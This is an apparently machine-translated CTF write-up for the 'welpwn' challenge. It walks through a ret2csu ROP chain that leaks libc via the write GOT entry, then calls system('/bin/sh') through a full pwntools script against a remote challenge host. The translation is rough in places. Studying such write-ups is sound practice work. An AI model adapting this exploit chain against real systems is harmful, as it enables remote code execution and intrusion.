The topic is attacking and defending the world.
Check the flow protection program first
It's like a stack overflow, but there's no overflow.
Then look at the echo function
A little reverse, we can find that there is an array inside eval, which puts the first 16 of the previously read 0x400 bytes into s2. But it was launched when it met 0
However, in a 64 bit system, the occurrence of address 0 cannot be avoided. Therefore, we can only control the first address entered. Because the first address in the small end method is the address in front and 0 in the back, it can be read in. It feels a bit like the idea of stack migration here. Fortunately, there are other methods for this problem. It is not so complicated as stack migration.
It is observed that echo is called in main. The content we input for the first time is actually stored in the stack frame of main, and there is also a copy. So is it possible for us to go back to the stack frame of the previous function? However, in main, we entered padding with a length of 24 at the beginning, so we need to skip this part.
It is easy to think of using a generic gardet to find a gardet (24 + p64 (the function itself)) that can produce more than four pops in gardet, but there is also a pop that happens to be four,
Well, actually, he seems to be general gardet
OK, let's remove the a input at the beginning through these four pop s. Next, you can perform a general rop, first disclose the libc base address, and then pass in the process of system
Here I read the online wp and saw that it uses the general gardet method. I just reviewed the general gardet I haven't used for a long time. Here is the principle of the source code
We first enter the address 0x40082a, and then ret to 400810. We can see that several parameters of the previous pop are passed back to the three important registers of RDX, RSI and EDI. You can basically control the parameters of all functions. After that, another call command just arrived at the address we wanted to go. It seems to be prepared for hackers. Pay attention to the following rules when entering parameters.
This is for the call function (0x400819) and register value. You can see CTF all in one
OK, next, construct payload1 and disclose the write address
payload='a'*(16+8)+p64(pop_4_ret)+p64(pop_6_ret)+p64(0)+p64(1)+p64(write_got)+p64(0x8)+p64(write_got)+p64(1)+p64(part2) payload+='aaaaaaaa'+'bbbbbbbb'+'cccccccc'+'dddddddd'+'eeeeeeee'+'ffffffff'+'gggggggg'+p64(main_addr) # The last line + = is because the 0x400819call in the general gardet above is used up. t he will pop a lump of things. These things must be removed before ret ting to the correct address Note that when you call a function here write_got!the reason being that call instead of ret，After binding write_got Stored in the table is write Your real address,If write write_plt No call The role of.
After getting the write address, libcSearcher looks for it and finds it.
After that, find the initial address, find the offset and send it to the system. I won't repeat it
from pwn import * from LibcSearcher import * # io=process('./welpwn') io=remote('184.108.40.206',49896) context.log_level='debug' elf=ELF('./welpwn') puts_addr=elf.plt['puts'] write_got=elf.got['write'] write_plt=elf.plt['write'] printf_got=elf.got['printf'] pop_rdi_ret = 0x00000000004008a3 pop_4_ret=0x000000000040089c pop_6_ret=0x40089A part2=0x400880 main_addr=0x4007CD io.recvline() # gdb.attach(io,"b *0x4007CB") payload='a'*(16+8)+p64(pop_4_ret)+p64(pop_6_ret)+p64(0)+p64(1)+p64(write_got)+p64(0x8)+p64(write_got)+p64(1)+p64(part2) payload+='aaaaaaaa'+'bbbbbbbb'+'cccccccc'+'dddddddd'+'eeeeeeee'+'ffffffff'+'gggggggg'+p64(main_addr) io.sendline(payload) write_addr = u64(io.recv(8)) libc=LibcSearcher('write',write_addr) write_bias=libc.dump('write') libc_base=write_addr-write_bias print hex(write_addr) system_addr=libc_base+libc.dump('system') str_bin_sh = libc_base+libc.dump("str_bin_sh") io.recvline() payload='a'*(16+8)+p64(pop_4_ret)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr) # gdb.attach(io,"b *0x4007CB") io.sendline(payload) io.interactive()
The main lesson of this question is that it calls the internal function. Coincidentally, the stack frame of this function is just small. It can go back to the stack frame of the previous function, and then rop in the stack frame of the previous function. It is relatively innovative. And it's just like reviewing the usage of general gardet.